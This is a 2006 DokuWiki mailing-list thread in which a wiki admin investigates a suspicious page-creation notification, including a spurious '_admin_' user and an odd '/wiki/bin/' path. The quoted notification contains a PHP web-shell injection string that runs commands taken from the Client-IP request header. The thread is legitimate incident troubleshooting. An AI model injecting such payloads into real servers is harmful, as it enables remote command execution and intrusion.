[dokuwiki] Re: Strange attack on the wiki

  • From: "Oliver Schulze L." <oliver@xxxxxxxxxxxxx>
  • To: dokuwiki@xxxxxxxxxxxxx
  • Date: Thu, 07 Sep 2006 22:12:54 -0400

A simple grep in the changelog:
[root@mail data]# grep suntzu changes.log
1157669598      80.25.241.26    wiki:suntzu     _admin_  "suntzu"
1157671078      200.85.40.xx    wiki:suntzu              borrado

Here we can view that the page:
:wiki:bin:suntzu
have never been created. So, why is the string "bin" in the path of the email?

about the _admin_ user:
- I use the phpbb user database, that there is no _admin_ user
- I don't allow user registration in the wiki, so, where does this _admin_ user come from?


A normal email about a page adde looks like this:

--------------------------------------
Fecha          : 2006/08/30 18:07
Navegador      : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) 
Gecko/20060728 Firefox/1.5.0.6
Dirección-IP   : 200.85.40.xx
Nombre de Host : mail.samera.com.py
Revision Vieja : http://www.linux.org.py/wiki/sl/sasoft?rev=1156945304
Revision Nueva : http://www.linux.org.py/wiki/sl/sasoft
Edit Summary   : click aqui
User           : oliversl

--------------------------------------

I think it has to be something in DW

HTH
Oliver

Chris Smith wrote:
Oliver Schulze L. wrote: 
Hi,
I just received this email, is from a wiki I admin:
---------------------------------------------

Fecha          : 2006/09/07 18:53
Navegador      : Dirección-IP   : 80.25.241.26
Nombre de Host : 26.Red-80-25-241.staticIP.rima-tde.net
Revision Vieja : none
Revision Nueva : http://www.linux.org.py/wiki/bin/wiki/suntzu
Edit Summary   : "suntzu"
User           : _admin_

80.25.241.26 (<?php set_time_limit(0);echo 'my_delim';passthru($_SERVER['HTTP_CLIENT_IP']);die;?>)

---------------------------------------------

The strange part is the /wiki/bin/wiki/ path, the wiki is on /wiki/
When I visited the page, the path turned into: /wiki/wiki/suntzu

I have php disabled, so, no harm done.

My question is, why the path bin appeared in the email?

Thanks
Oliver

I'd take a look at your webserver or file system setup. I don't think its a DokuWiki thing.

Chris 

--
Oliver Schulze L.
Get my e-mail after a captcha test in: http://tinymailto.com/oliver

--
DokuWiki mailing list - more info at
http://wiki.splitbrain.org/wiki:mailinglist

Other related posts:

  1. Home
  2. dokuwiki
  3. Archive
  4. 09-2006